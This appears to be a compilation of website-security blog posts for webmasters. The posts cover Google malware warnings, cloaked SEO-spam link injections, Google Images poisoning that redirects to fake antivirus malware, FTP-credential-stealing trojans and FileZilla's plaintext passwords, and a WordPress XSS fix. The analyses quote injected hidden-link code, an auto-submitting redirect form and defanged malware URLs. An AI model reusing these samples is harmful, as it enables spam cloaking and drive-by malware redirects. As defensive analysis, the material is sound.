Video highlights:

1. Use Safe Browsing diagnostics — false positives are very unlikely
   http://www.google.com/safebrowsing/diagnostic?site=<your-site-URL-here>
   
   • The problem might have been caused by a third-party content (ads, widgets) that you use on your site
   • But in most cases the problem is in the malicious content/behavior added by hackers.
2. Malware review via Google Webmaster Tools.
   • prove ownership
   • use the  Diagnositics -> Malware section for information on malware issues (e.g. examples of URL were malware was found, and samples of the found malicious content)
   • Once you fix the problem, click on the “request a review” link — your site will be reviewed during the next few hours.
3. Fetch as Googlebot. – useful tool to diagnose security problems when hackers hide malicious content from normal human visitors and only show it for search engine spiders (cloaking) — this is quite a prevalent type of website hacks (part of massive Black Hat SEO campaigns).
4. .htaccess — is a popular target of website hacks. For example, hackers can add conditional rules to redirect all search engine traffic to a third-party website.
5. SQL-injections — another trick where hackers can exploit bugs in web applications that fail to properly sanitize user input — as a result, malicious content can be injected into site’s database.
6. Finding malware may be tricky.
   • Don’t only check the source code of your web pages. Check what browsers receive from your web server (both the page code and the HTTP headers).
   • You might want to play with different scenarios. Warning: please use specialized tools and do it only in a controlled sandboxed environment, otherwise malware may infect your computer.
     • direct visit
     • visit from a search engine
     • visit with clean cookies (first time visit)
     • visit using different browsers (IE, Firefox, Chrome)
     • visit from from different IPs and countries
7. Keep your system up to date.
8. Change passwords.
9. Unmask Parasites :) -  Matt called this site a “really useful place to talk about all the different attacks that are currently going on”.

<img src="http://example .net/images/logos/rssicon.png" />

So why did Google think this image tag was malicious? Can images be malicious? After all they are not scripts, iframes or embedded executable objects that that hackers use to attack web surfers.

It turns out, images can really make Google blacklist your site. In that particular case, the image was from a third party site and it was (as its name suggests) just an RSS icon. A normal legitimate file. The only problem was the third party site got hacked and attackers modified its .htaccess file to redirect search traffic to malicious sites (like here). Subsequently, that “example. net” got flagged by Google.

Cross-site warnings

Sometimes it’s enough for your site just to load something from a blacklisted site to get a warning. For example, Google Chrome has so called “cross-site warnings“. When you open a website that is not currently blacklisted, Chrome can detect (in real time) that a page loads something (usually scripts or iframes) from a known blacklisted site. In this case you will see the infamous red malware warning. The only difference from a normal warning will be the words that “website at <your website> contains elements from the site <third party site>, which appears to host malware…“.

These cross-site warning only (reliably) work in Google Chrome. And since websites that contain elements from malicious site are not blacklisted at the moment, there will be no malware warnings in Webmaster Tools (until Google discovers malware on your site). So the webmaster couldn’t find that code in Webmaster Tools if that was just a cross-site warning.

Broken links can be dangerous too

Let’s get back to that hacked site. It’s .htaccess file also contained rules to redirect all erroneous requests (e.g. requests with error codes 404 Not Found, 400 Bad Request, 401 Unauthorized, 403 Forbidden and 500 Internal Server Error ) to malicious sites. In our case, that rssicon.png file was missing for some reason, thus requests to this file returned the 404 error code and got redirected to a bad site.

So every time when someone loads a page with that img tag, behind the scenes, one browser request goes to a malicious site. This is probably what Google malware scanners detected and this was the reason for flagging that website with the rssicon.png img tag.

Images in third party widgets

Another real world example is the current problem with Blogger blogs that use some fishy “page views counter widget” from bloggerwidgets .cz .cc. Google says, this site has infected 169 blogs.

All infected site has the following “counter widget” code
<img src="http://forums .bit-tech .net/images-light/misc/stats.gif" alt="" width="16" height="16" />
<img src="hxxp://demo .bloggerwidgets .cz .cc/counter2.php?page=xxxxxxxxxxxxxxxxxxx&amp;digit=4" alt="counter" />

As you can see, this code loads an image from demo .bloggerwidgets .cz .cc. I guess it is supposed to display views count. However, the “bloggerwidgets .cz .cc” domain seems to be discontinued and now redirects all requests to a scam site.

Are those images malicious?

Can those images from hacked/redirecting sites be really dangerous for visitors to a site that embeds the images via an <img> tag? Well, I think such tags are “mostly harmless” ;) Modern browsers seem to correctly handle such redirections and simply don’t process server responses in unsupported formats (the malicious redirect returns some HTML code where an image is expected). But who knows, maybe some older browsers under certain conditions may misinterpret the scope of the redirection and navigate a browser to a bad site (after all this is what browser exploits are all about — they allow to do undocumented stuff).

To webmasters

Anyway, whats’ more important for webmasters is that image tags can really be the source of malware warnings.

So here are some basic tips on how to deal with such situations:

1. Where possible, don’t use images and other resources (e.g. scripts, objects, etc) from third-party sites. You might want to copy the files to your own server (if their license permits this).

2. If you have to embed resources from third party sites (counters, widgets, ads), check how trustworthy and reputable they are (e.g. compare Facebook widget and the “bloggerwidgets .cz .cc” widget).

3. If Google blacklists your site and mentions some <img> tag as the source of the problem, you should remove that tag (or replace the image with some placeholder with similar dimensions to preserve page formatting) from all pages and then request a malware review via Google Webmaster Tools.

4. In case you don’t see any samples of malicious code in Webmaster Tools (for example, if you haven’t registered your site with Webmaster Tools yet) you might want to check Google’s Safe Browsing diagnostic page for your site:

http://www.google.com/safebrowsing/diagnostic?site=example.com

Just replace “example.com” with your site domain.

On the diagnostic page, check domains mentioned in the “What happened when Google visited this site?” section. If your site links to some images on those domains you need to remove them before requesting a malware review.

5. If you really want to use those images on your site, you should contact the owners of the sites they reside on and ask to clean them up and have Google unblock them. Once those third party websites are clean you can link to their images again.

Note, the above instructions only apply to situations when Google blacklists your site because of the <img> tags that you added to your site yourself. If you find some image tags or other HTML code that don’t belong to your site and you never added them yourself, this will be a whole different story that requires different remediation steps (for example, the most important step will be to figure out how that alien code was injected into your web pages.)

Related posts:

• Practical Guide to Dealing With Google’s Malware Warnings
• Htaccess Redirect to Example.ru/dir/index.php
• Readable SafeBrowsing Add-on for Firefox 4+
• Introduction to Website Parasites

Cloaked links

To have Google discover and index rogue doorway pages, the attackers needed to place links on web pages that Google already knows about and regularly crawls. One of the popular approaches is to create free websites and post links there (there are many services that allow to do it). However, in this particular case I couldn’t find such external links.

Then I checked cached versions of legitimate web pages on the hacked sites and found the following code right before the closing </body> tag.

<style>#alkg {position:absolute;overflow:auto;height:0;width:0;}</style><font id="alkg"><a href="http://example.com/?ccc=niger-culture-picture">niger culture picture</a><br />...<a href="http://example.com/?ccc=eric-ogbogu-picture">eric ogbogu picture</a><br /><a href="http://rankexplorer.com">Poker Software</a></font>

The code cannot be found if you open the same web page in a browser. This means that hackers used cloaking to feed these links to search engine spiders only.

This code defines an invisible style (height:0; width:0) and then lists dozens to hundreds of links to doorway pages on that site inside the <font> block that has that invisible style. The name of that style is a random combination of four letters and it changes from site to site.

This trick prevents webmasters form seeing the spammy links when they check cached web pages (of course, unless they scrutinize the HTML code) and at the same time provides links that don’t look like invisible to Googlebot (I guess Google is well aware of such tricks though ;-) ).

The placement of this spammy code makes me think that hackers injected it into the footer.php file of the blogs’ themes. Most likely the actual code is encrypted (e.g. with the base64_decode or some other obfuscation trick) so check the code right before the </body> tag.

SEO Anomaly

I noticed one interesting thing. Every link block on every hacked site has a link to rankexplorer .com. The anchor text is always the same: Poker Software.

The domain was registered on February 21st, 2011 and already has PageRank 5. That was very suspicious. Only very popular sites can get PR5 in such a short time. So I decided to check who linked to the rankexplorer site and how seriously those links on the hacked sites contribute to this rapid progress.

Yahoo Site Explorer

First, I checked external backlinks using Yahoo Site Explorer:

The report says there are 1,858,186 external links to 7 pages on this site. Impressive!

It was clear that sites at the top of the list were hacked. But it was not clear how many of those 1,800,000+ links are from hacked sites and if there are many (or rather any) legitimate links. Moreover, YSE doesn’t distinguish “doFollow” and “noFollow” links so it’s hard to use this report to tell which links actually contribute to the high PageRank. (For example, there can be many “noFollow” links from spammy blog comments and forum posts).

MajesticSEO Site Explorer

So the next step was a more thorough investigation using MajesticSEO Site Explorer. MajesticSEO maintains quite a fresh index (updated 2-3 times a day) and its size is comparable to that of Yahoo (they claim that only Google has a larger index). What’s more important, they provide various backlink reports that allow to easily spot interesting patterns and anomalies.

Lets begin with the Domain Information report:

Well, the number of external links here is significantly smaller than in Yahoo Site Explorer. But we should not forget that this is a “fresh index” and we deal with hacked sites that get cleaned up once their webmasters notice the hack.

The useful information here is:

• very few link are “NoFollow” – 0.3% (so the comment and forum spam is not the case)
• quite a few deleted links – (webmasters remove spammy links from hacked sites)
• domains/links ratio suggests that multiple pages of the same site link to rankexplorer — quite typical for spammy links.
• most of the linking sites reside on different servers and even on different subnetworks – (they are not just from one hacked server).

The same report has a “Referring Domains” history graph

You can see a spike on July 20th. This matches the beginning of the black hat SEO campaign.

The “Top Pages” report shows that all external links point to the home page only. That’s not typical even for a small site with so many backlinks.

The most revealing data can be found in the Top Backlinks report. It provides a list of up to 2,500 referring URLs (Majestic Silver plan) in order of their significance for SEO along with the anchor text (!) of the backlinks.

Main insights:

• Out of 2,500 backlinks , 2,426 (97%) have the “poker software” anchor text – (This anchor text is used on hacked sites)
• 60 backlinks (2.4%) have the “poker statistics” anchor text. They are hidden links on a few supposedly hacked sites (different attack though). The spammy code look like this:
  <div style=”display:none“><li><a href=”hxxp://rankexplorer .com“>Poker Statistics</a></li></div>
• The rest 13 links can be easily neglected.
  • One of them comes from Baidu search results (why does MajesticSEO index Baidu SERPs?!)
  • Six “software de poker” and “”poker mjukvara“” are from a hacked site that uses some sort of auto-translation that translated all spammy links into Spanish and Swedish ;-)

And finally, the “Referring Domains” report shows that most of the domains can also be found in my list of WordPress sites affected by this black hat SEO attack.

So the backlink analisys clearly shows that the rankexplorer .com owes its high PageRank exclusively to black hat techniques.

PageRank vs real SERP positions

Was it worth the effort for rankexplorer? Not that much. If we search for [poker software] or even for ["poker software"] on all major search engines, the rankexplorer is nowhere near the top. The top two Google search results for this query currently link to sites with PageRank 4, and #3 has PR3! As Matt Cutts always says: PageRank is only one of many factors that affect site position in search results.

So were all the spammers’ efforts futile? Not exactly. For some queries (I won’t call them popular) you can find the rankexplorer on the first page of search results. Currently it is #4 for the ["poker statistics analyzer"] query.

Interesting sidenote. Out of all major search enignes, Baidu (#1 search engine in China!) is the most susceptible to the rankexplorer’s black hat SEO campaign:

Previous generation of this campaign

The MajesticSEO’s reports helped me find some sites where the injected code and doorway pages were different than in the attack that I described last week. Moreover, some of the sites were not WordPress blogs. After some additional analysis, I figured out it was a previous generation of the same attack. Here are the details:

Link blocks

Checking cached versions (Google cache) of legitimate pages on the compromised sites, I found a familiar cloaked blocks of hidden link that used the style/font trick:

<style>#xhxq {position:absolute;overflow:auto;height:0;width:0;}</style><font id="xhxq"><li><a href="http://example.com/?olg=55680">80s movie posters</a></li>
...skipped..
<a href="hxxp://rankexplorer .com">Poker Software</a>
...skipped..
<li><a href="http://www.example.org/?eea=go.php5">powered by smf best back up software</a></li></font>

However, instead of linking to doorways on the same site, those blocks linked to doorways on multiple third party sites (usually about 50 unique sites in one block). And the rankexplorer link was in the middle of the block this time.

This cross-linking scheme helped me identify 700+ hacked sites. Most of them can be identified as WordPress blogs, Joomla sites and Zen Cart online stores.

URL patterns

The most common URL patterns of the doorway pages are:

example.com/[a-z]{3,4}=<random>.<extension>, where <random> is a random combination of characters, digits and hyphens, and <extension> is a one of the popular file extensions of web pages (html|htm|shtml|php|php3|php4|php5|phtml|jsp|asp). The extension part can be missing.

Examples:

• example.co.uk/?mrx=zc-31.html
• example.com/?jlq=bi5k5.phtml
• example.de/?pce=9mlbqc.htm
• example.eu/?tnj=57720.php3
• example.cl/?slf=9283-upfy

Another popular doorway URL pattern is example.org/[a-z]{3}-<keywords>.<extension>, where <keywords> are hyphen separated keywords targeted by the doorway page.

Examples:

• example.com/qlv-wallpapers-cowgirl-stock-photos.asp (note, this page is on a Linux server that has no ASP)
• example.net/qxr-trail-of-tears-coloring-pages.php5
• example.se/lck-multiplication-chart-1-500.html

And the combination of the above two patterns: example.net/[a-z]{3,4}=<keywords>.<extension>

• example.org/?jyw=make-your-own-art-online.php4
• example.com/?liz=sample-1023-arts-organization.shtml
• example.net/?klb=dem-mac-martial-arts.php
• example.es/?jys=art-of-8000-bce-500-ce

Chronology of the attack

Some of the websites have already been cleaned up. On such sites, I can only find the spammy content in 2-3 months’ old cached copies, which proves that this attack was active around May 2011. We can find one more evidence of this in the MajesticSEO report for the notorious rankexplorer .com site that uses its “historic” index.

This graph shows that MajesticSEO began to index links to rankexplorer .com (and we know they all come from hacked sites) in April. Then the was a peak in May (new indexed domains referencing rankexplorer). Almost 0 new domains in June and then another uptrend in July (which corresponds to the attack against WordPress blogs that I described last week)

Still malicious

Although that wave of the black hat SEO campaign has been idle for at least a couple of months now, many of the compromised sites still contain malicious web pages. As in the most recent attack, they only redirect visitors to scareware sites if they come from Google Images search (clicking on web search results won’t trigger the redirect.)

Redirects

For visitors from Google Images, the doorway generate a page with an invisible form and a JavaScript that automatically clicks on the form button, which effectively redirects a browser to a Fake AV site:

<html><head>
<script>
function TDov(){setTi meout('ob()', 1);document.getElementById('go').click();}
function F99FAEE4E1A331A7595932B7C18F9F5F6(){try{history.forward();}catch(e){}setTim eout('ob()', 10);}
</script>
</head><body onLoad='TDov()'>
<form action='hxxp://atomiccanyon .com/BrightonFestival2009/xmlrpc.php?k=fredericksburg+tx+historic+district+map&s=google&r=http%3A%2F%2Fwww.google.com%2Fimgres%3Fimgurl%3...skipped..' method='POST' target='_top'>
<button type='submit' id='go' style='visibility:hidden'></button></form>
</body></html>

As you can see, the URL structure resembles the structure of the first URL in the redirect chain of the ongoing attack.

Some of the sites also use a similar form URL on the cricketfunde .com domain.

Then, this intermediary URL redirects visitors to actual fake AV sites. Currently, they use multiple *.rr.nu domains:

• hxxp://www4.powersecurityex .rr .nu/?hch86z0i65=jNjRnHOtYpxcpdnTtJiY59nPst…
• hxxp://www3. powergcjsentinel .rr .nu/?39gnl9=V67Q0qlrqKad1dvLoJ2Z2eLgpqCWoWie…
• hxxp://www1 .simplecwahscanner .rr .nu/2dgnv5l5k?4h6xtulyq2=WNKj2%….

They seem to be changing every day. Old domain expire quite quickly. When I last checked, they used the 79 .133 .196 .117 address.

Malware

The binary download begins from a different (although similar) domain:

• hxxp://www2 .thebest-mhcleaner .rr .nu/duqr211_323.php?xw0lonwp=nOGdz%2B…%3D%3D
• hxxp://www2 .bestsuitehri .rr .nu/yvbt211_323.php?o5aayuuvor=k63E0Lbu…%3D%3D

The downloaded file have names like fix_pack107d_323.exe and fix_pack211d_323.exe (links to VirusTotal reports) and their detection rates are usually less than 30%. I rechecked one file 20 hours later and it’s detection rate improved from 27% to 33% – by that time the malicious server began to serve a different variation of the same file.

Redirects for Macs

For Mac users, the redirect chain is different:

www4 .powersecurityex .rr .nu -> rdr .cz .cc/go.php?7&said=323 -> www .moviedir .com/1093251

By the way, the moviedir site has Google PageRank 4. And it shouldn’t be a surprise that many of its backlinks are from hacked sites.

Google strikes back

While hacked site still contain malicious code and may redirect Image searches to dangerous sites, Google has done a great job to mitigate the problem and removed the doorway page from its index.

I checked many hacked sites using the site: operator in Google search. Only very few of them had indexed doorways. And even when I could find links to doorways in web search results, Image search results for the same sites were free from poisoned images! (I have a feeling that for some hacked sites Google removed legitimate images as well)

I have also noticed the “This site may be compromised” warning on search results for home pages of many hacked sites.

At this time, both generations of this particular Google Image poisoning campaign seem to be neutralized by Google. Good job!

##
Removing poisoned links from search result doesn’t completely solves the problem. There are still thousands of compromised sites that criminals can reuse for different attacks. Moreover, I still don’t have reliable information about the attack vector (what security holes hackers exploit and how they integrate malicious code into legitimate websites), so millions of WordPress blogs and Joomla sites are potentially vulnerable to similar attacks. If you have any information, please share it in comments or contact me directly.

If you work in a security department of a large shared hosting provider, please contact me. The chances are I know some compromised sites on your servers (5,000+ sites on my list, typically 1-2 sites per IP, but sometimes up to 300). Together we can find out what’s going on.

Thank you!

Related posts:

• Hacked WordPress Blogs Poison Google Images
• Thousands of Hacked Sites Seriously Poison Google Image Search Results
• Introduction to Website Parasites

To make my life easier, I created a simple script that highlighted important information so that I could see everything I needed at a glance. I had been using that script for more than a year before the recent Firefox 4 upgrade broke it (the technology I used is deprecated now). This was a serious loss for me. Every time I opened Safe Browsing diagnostic pages (several dozen times a day) I missed my script. Even though I knew the page layout very well, it took significantly more efforts to extract the same amount of information. The difference was almost the same as you might feel when you have to use a touchpad instead of a normal mouse.

Readable SafeBrowsing add-on

Finally I’ve reworked my script as a fully compatible Firefox 4 add-on. What a relief! And now that I know how such a simple thing can improve your productivity and what it means to get back to original Google’s formatting, I think it may be worth it to share this add-on with you. I actually think Google should revamp the diagnostic pages itself. But since they don’t change the look and feel of these pages for a few years, I guess I’d better off publishing my add-on so that anyone can benefit from it.

If you use Firefox 4+ (which I consider the best choice when used along with NoScript), you can install my Readable SafeBrowsing add-on here (no additional installs required, no restart required):

https://addons.mozilla.org/en-US/firefox/addon/readable-safebrowsing/

(You may see a warning when you click the “Download Now” button as the add-on hasn’t been reviewed by Mozilla yet.)

Features

• Different colors for suspicious and not suspicious reports. — The wording is almost the same for flagged sites and clean sites. The only difference is the “not” word in the middle of a sentence so you can’t tell the status of the report at a glance.
• Highlights the base URL covered by the report. — It may differ from the requested URL. For example, if you request a diagnostic page for a subdomain.example.org the report may actually show data for the whole example.org, which means that the problem can’t be resolved at the subdomain level.
• Highlights date of the last scan and the date when the problem was last found. — This is important to understand how up-to-date the report is, whether the original problem is still detectable, whether Google rescanned the site after a request submitted via Webmaster Tools.
• Highlights when the report was last updated. — Important if you are not sure whether Google has picked up your latest changes.

Currently it works with Safe Browsing diagnostic pages in English, German, Spanish, French and Russian.

Before/After screenshots

Before: not suspicious

After: not suspicious

Before: suspicious

After: suspicious

Testing

Once you install it, you can open any Safe Browsing diagnostic page and enjoy the improved look&feel. For example, here’s the diagnostic page for this blog:
http://www.google.com/safebrowsing/diagnostic?site=blog.unmaskparasites.com

Or you can construct a URL of a Safe Browsing diagnostic page for any site yourself:

http://www.google.com/safebrowsing/diagnostic?site=<example.com/path>
replace (the <example.com/path> part with the address of the desired site/page)

Don’t forget that you can also find links to Safe Browsing diagnostic pages in Unmask Parasites reports (both for the pages that you check and the pages they link to).

#

Let me know what you think about it. Is there something that can be changed or improved? Your feedback is welcome.

Related posts:

• Practical Guide to Dealing With Google’s Malware Warnings
• Readable SafeBrowsing add-on description at Mozilla.org

Of course, I pointed them to my blog post where I described how malware stole passwords and all the login details saved in 10 most popular FTP clients (e.g. Filezilla, CuteFTP, Total Commander, etc.). Indeed, recent malware scan revealed two suspicious items on their computer. One of them was identified as “Spyware.Passwords“. The only problem was the site owner said they didn’t use those FTP clients and kept all passwords in KeePass. Moreover, they manages 50 websites and only four of them got infected.

The answer became quite clear when they found an old copy of SmartFTP on their computer. There had been 5 FTP account (including passwords) saved there. Four of them were the four hacked sites! So what about the fifth? No doubt all five site credentials had been stolen, but the fifth site wasn’t hacked because its password had been changed after the last use of SmartFTP — so the stolen password was not valid by the moment of the hacker attack. This also explains why the rest 45 sites were not hacked — their passwords weren’t stolen.

Lesson learned

Not only should you avoid saving passwords in your current FTP client, but also make sure they are not saved in old programs that may still reside on your computer.

Related posts:

• 10 FTP Clients Malware Steals Credentials From
• Beware: FileZilla Doesn’t Protect Your Passwords
• Introduction to Website Parasites

In the recent post about Quicksilver malware network, you can read that the trojan behind the infamous iframe injection attack “looks for all kinds of configuration files of ftp programs in their default install paths“. I contacted the researcher and asked if he had a full list of the FTP clients this malware looks for.

And here’s the list:

1. CoffeeCup Direct FTP
2. TransSoft FTP Control 4
3. Core FTP
4. GlobalScape CuteFTP
5. Far Manager (with FTP plugin)
6. FileZilla
7. FlashFXP
8. SmartFTP
9. FTP Navigator
10. Total Commander

The list looks trustworthy. The same FTP programs can be found on the screenshot of a trojan code from Kaspersky’s article (in Russian) about the same attack.

So what if you are using one of these FTP client?

Keep using it. Just don’t save your passwords there. Enter passwords every time you connect to remote servers. Or invest some time to read your program’s documentation and find out what they can offer to security-minded webmasters. Some clients support public key authorization, some offer encrypted site managers, etc.

Just to be on the safe side, scan your computer for malware. Then scan your site for signs of break-ins (you might want to start with Unmask Parasites checks). If you have any suspicion, change all passwords ASAP.

And don’t think if you are using some other FTP client you can safely store your passwords in it. There may be another trojan that specifically targets your favorite program.

Move to secure file transfer protocols.

BTW, in my previous post you could see a link to an article about another trojan that sniffs FTP traffic and steals credentials. If you use FTP, you can’t hide your passwords from this trojan – FTP protocol doesn’t support any encryption.

The answer to this problem is secure protocols: like SFTP or FTPS. Most FTP clients support these protocols, so you don’t need to find a new program. However, if you are on a shared server, make sure that your hosting plan includes any of these secure protocols.

Similar posts:

• Beware: FileZilla Doesn’t Protect Your Passwords
• Quicksilver Malware Network
• Introduction to Website Parasites

The success of those attacks is based on the fact that a significant percentage of web surfer are webmasters and site owners themselves. Once a computer of a site owner is infected, malware can steal his/her FTP credentials and use them to make the site distribute malware to unsuspecting visitors, who, in turn, may also be site owners.  As a result, we see rapid growth in number of compromised websites.

There are quite a few hypotheses about how cibercriminals steal the credentials: traffic sniffing, using keyloggers, etc. But the most viable is that trojans simply extract everything they need from configuration files of popular FTP programs.  Let me show how easy it can be done.

FileZilla

Lets take a very popular free FTP client called FileZilla. For this experiment, I downloaded and installed the latest version 3.2.7.1.

Adding new site

Then I added a fictitious site “example.com” with username “unmask” and password “parasites“. Logontype is “Normal” – this is probably the most popular type since it allows one-click connection and doesn’t require that you enter username/password every time. Then I clicked OK to save the new settings.

FileZilla configuration files

FileZilla is a cross-platform application. That’s why it stores its settings in platform-neutral XML files.

sitemanager.xml

XML files are human readable. This is what I discovered in the sitemanager.xml file right after I added a new site to FileZilla.

As you can see, everything is stored in plain text, including the password.

filezilla.xml

When I tried to connect to “example.com”, FileZilla added the following <LastServer> section to filezilla.xml. Again, everything in plain text.

Quick connect

FileZilla has a quickconnect bar that allows you to connect to servers without adding them to the Site Manager.  When I used it, similar information was added to recentservers.xml (needless to say, unencrypted).

Anyone wants my passwords?

As you can see, any program on your computer, legitimate and malicious, can read this information. Moreover, any person who have access (even for a couple of minutes only) to your computer, can easily steal your FTP credentials. And there are known trojans that do steal personal information from configuration data of popular programs (thanks Alec Waters who sent me this link).

Did you know this? Can you trust every program on your computer? Have you recently had malware issues? What about spyware that your anti-virus failed to detect (no program is perfect)?

This is “by design”

At FileZilla they clearly state that they don’t want to encrypt or hide your sensitive information:

This is by design, it is the task of the operating system to protect your private data.

Probably they are right. Unfortunately, there is no such thing as 100% secure operating system. And in case of Windows, where viruses and spyware are not that rare, I would be very concerned if I knew that my data is protected by the operating system only.

I know, that encrypting passwords is not a good solution either. Malware authors can reverse-engineer FTP clients and extract the decryption algorithm (in case of open source programs they only need to read the source code). So encryption can’t stop malware from stealing FTP credentials. It can only save you from eyes of strangers who have access to your computer.

The protection can only be sufficiently strong if users are required to enter their “master password” every time they open the program (like in KeePass). However this approach makes the convenience of storing FTP passwords in FTP clients questionable – you still have to remember and enter some password on every use. That’s why it is not used in FTP programs (that I know of).

The flaw in the design

So I agree with FileZilla. It is sensible to store FTP credential in plain text when you choose the “Normal” logon type. But only if users are aware of the risks.

The problem is the majority of FTP programs’ users trust their software and never think about how their private information is handled and if there are any security risks associated with the way they use the software. And as you now know the risks are real and substantial! There is a flaw in the design if it lets people feel secure when they are not.

How about the following change of the design? The “Normal” logon type can be renamed to “Normal (insecure)“. And when users choose this type, they see a warning saying that their FTP credentials will be saved in plain text and can be easily stolen if the computer’s security is compromised.  And the Quickconnect toolbar should never save passwords. If there is a need to save the “quick connection”, why not offer to add it to the Site Manager?

I believe, the impact of these small changes would be significant. One-click FTP connections are very convenient. But, as always, the convenience comes at a price. And if webmasters know this price, they will be more prepared to deal with potential security problems.

Using FileZilla the safe way

FileZilla is a great FTP client and I use it myself. But since it doesn’t protect your FTP credentials, you should protect them yourselves. Here is what you can do:

1. Don’t use the “Normal” logon type. There are the “Ask for password” and the “Interactive” types that won’t save your passwords on disk. So malware simply won’t be able to get enough information from FileZilla configuration files to hack your sites.

Pros

• Malware cannot steal your FTP credential from configuration files.

Cons

• You’ll have to enter your password every time you connect to your site.
• It won’t save you from more sophisticated spyware such as keyloggers and traffic sniffers. But I hope this sort of trojans can be better detected by you antivirus tools since they need to hook known system functions. To protect yourself from traffic sniffers, always use SFTP instead of FTP (if possible).

2. Hosts trick. If you manage multiple web sites, interactive logon types may be really inconvenient. There is a trick that can let you use the “Normal” logon type in a more secure manner. You should create aliases of your sites’ addresses in the “hosts” file (on Windows, you can find it in C:\WINDOWS\system32\drivers\etc\).

For example you have a site “example.com” with an IP-address “208.77.188.166″. To create an alias you need to add the following line into the hosts file:

208.77.188.166         my_example

“my_example” will work the same way as “example.com” when you use it on your computer.  However, on other computers it won’t make any sense. Now use this alias in FTP connection settings instead of “example.com”.  If hackers manage to steal your FTP credentials, all they’ll have will be: (host: my_example, user: unmask, password: parasites) – the username/password pair is valid, but the host name doesn’t make any sense to them. It’s like having a key and not knowing where the door is.

Pros

• Once you have added new aliases to the hosts file and to FileZilla Site Manager, you can enjoy the ease of one-click connections.

Cons

• This trick will only work as long as malware steals FTP credentials from configuration files verbatim (and I have proofs that at least some malware steal the data verbatim).  If they only add a simple check that converts host names to IP-addresses before sending the credentials to their central database, the trick will be useless.  This trick is better than no protection at all, but you should not count on it.
• You’ll need to update the hosts file if IP-addresses change.

3. Public Key Authentication. If your hosting plan included SSH (secure shell), you can use FileZilla in SFTP mode. One of convenient SSH features is public key authentication. And FileZilla supports this type of authorization (I didn’t use it myself, but at least have seen the UI in the “Settings” dialog). FileZilla recognizes PuTTY’s Pageant, so the configuration should be easy if you already use PuTTY for SSH.

Pros

• Secure one-click connections.

Cons

• This authentication method will only work if your hosting plan includes SSH/SFTP. Unfortunately, this option is rearly included into shared hosting plans.
• Creating the keys and configuring FileZilla to use them is not a trivial process.
• You might still have to enter a pass phrase when adding keys to the Pageant.

Other FTP programs

In this article I reviewed FileZilla only because it’s a popular FTP client that I have on my computer and it was very easy to demonstrate how little it does to protect users’ FTP credentials. However the same concerns apply to all other  programs that have FTP functions: classical FTP clients, web page editors, file managers. Popular applications like DreamWeaver, CuteFTP, Total Commander, etc. account for majority of FTP credentials leaks.

Be proactive

Now ask yourself a few questions. Do you know where and how your FTP client stores your passwords? Will they be safe if a malicious program program penetrates into your computer? Do you know how to protect your FTP credentials?

If you’ve recently had malware issues with your computer or just suspect that your systems is infected or contains programs from untrusted sources, it’s time to change all passwords and scan your websites for malicious content that hackers might have already uploaded there (my Unmask Parasites online tool is a good starting point as it helps detect hidden illicit content in your web page).

Thanks for reading this rather long post. I hope it was worth  it. Do you have anything to add? Any other security concerns associated with FTP programs? Any tricks to keep your FTP credentials secure? Your comments are welcome.

Similar posts:

• NoScript Helps Reveal Website Exploits – Telegram .com Case
• Vulnerability Advisories for Third-Party Scripts
• Using Wget to Detect Hijacked Search Engine Traffic
• Hidden CN Iframes Are Still Prevalent

WordPress 2.8.2 fixes an XSS vulnerability. Comment author URLs were not fully sanitized when displayed in the admin. This could be exploited to redirect you away from the admin to another site

Unfortunately, the official blog didn’t mention that this upgrade is actually critical and why you should update ASAP. Let me explain this.

What is XSS vulnerability?

XSS (Cross-Site Scripting) is a security vulnerability that allows malicious users inject code into web pages viewed by other users. In case of this WordPress vulnerability, hackers can leave a comment specifying specially crafted URL in the “website” field of the comment form. When you open any web page in the admin area of your blog that displays this malicious comment (this may be the dashboard, the comments section and the specific post edit page), the code in the comment author’s URL is activated and you get automatically redirected to a third party site (as suggests the update release note).

Why is this serious?

Now that WordPress has disclosed the fact that versions prior to 2.8.2 have an XSS vulnerability, hackers will start searching for a way to exploit this vulnerability. It usually takes only a few hours to create an exploit and configure a botnet to start an attack.

Redirection from the admin to a third-party site may sound not scary to you, but I envision at least two types of attacks that can lead to very serious consequences: hackers can gain access to the admin area of your blog and to your whole site. (Plus one type that is just annoying)

Attack #1: Phishing

As you know, when you sign in to WordPress admin area, the first screen you see is the Dashboard. And the Dashboard screen contains the Recent Comments section that displays latest comments. If any of those comment has a specially crafted comment author’s URL, you will be redirected to a third party site before the whole Dashboard is completely loaded.

This third-party site can display a standard WordPress login screen (They all look the same, so if you don’t check the URL in your browser’s address bar you won’t detect the substitution) telling you to try again. Unsuspecting users will enter their credentials again. Hackers will harvest them and redirect the user back to the original admin area. If the XSS code is properly crafted, some users won’t even know that they have just given their blog credentials to criminals.

By the way, another path to the admin area is to click on the  “Approve/Delete/Spam” links in the WordPress notification emails. This way you are also exposed to the attack right after you sign in.

Dear WordPress developers, please make the login screen skinable. This way bloggers will be able to recognize “alien” login screens that use incorrect themes.

Attack #2: Malware.

The third-party site may not require your passwords. Instead it will try to take advantage of your browser’s vulnerabilities (at this moment IE has a known unpatched security hole and older versions of other browsers may be vulnerable too) and silently install malware on your local computer. Among other nasty things, trojans scan infected computers and steal stored FTP credentials (for example, FileZilla stores them in plain text in xml files), that will be used to compromise your web site. This is the most “popular” vector of hacking web sites this year.

There are also other ways to exploit this XSS vulnerability. Their consequences may be less dangerous but still very annoying.

Attack #3: SPAM

Every time you sign into the Blog admin or manage comments you’ll get redirected to some “prescription drug” site.

Before you upgrade…

So it’s time to upgrade. Right? But wait! What if malicious comments are already waiting for you in the admin area, and when you sign in to take advantage of the WordPress automatic upgrade tool, you will be exposed to the XSS attack?

Safe way to upgrade

If you don’t want to be exposed to any risks, you should upgrade WordPress before you sign in to the admin area.

1. The most obvious way to do it is the manual upgrade. You must be familiar with it if you’ve lived in the pre-2.7 era.
2. Another way (probably the most easiest of them all and at the same time the most techie way) is to upgrade using Subversion.
3. If the manual upgrade is not your coup of tea, make sure your web browser can withstand XSS attacks. I suggest that you use the latest version of Firefox (3.5.1 currently) along with the NoScript extension that has a very good anti-XSS protection. If you use other browsers, disable JavaScript before you sign in and don’t enable it until you reach the Tools->Upgrade page

I hope this post has given you some basic understanding of security implications of unpatched XSS vulnerabilities in the Wordpress admin area. Now you know why you should upgrade and how to do it the right way.

Keep your site secure.

Similar posts:

• Vulnerability Advisories for Third-Party Scripts
• Future of Secure Web Browsing

If you like this blog you might also find my free website security tool called Unmask Parasites useful.

GCounter .cn

When I first encountered a site infected by gcounter, I checked it with Unmask Parasites. Nothing suspicious was found except for the fact that the domain name was blacklisted by Google. I checked the diagnostic page and found this clue:

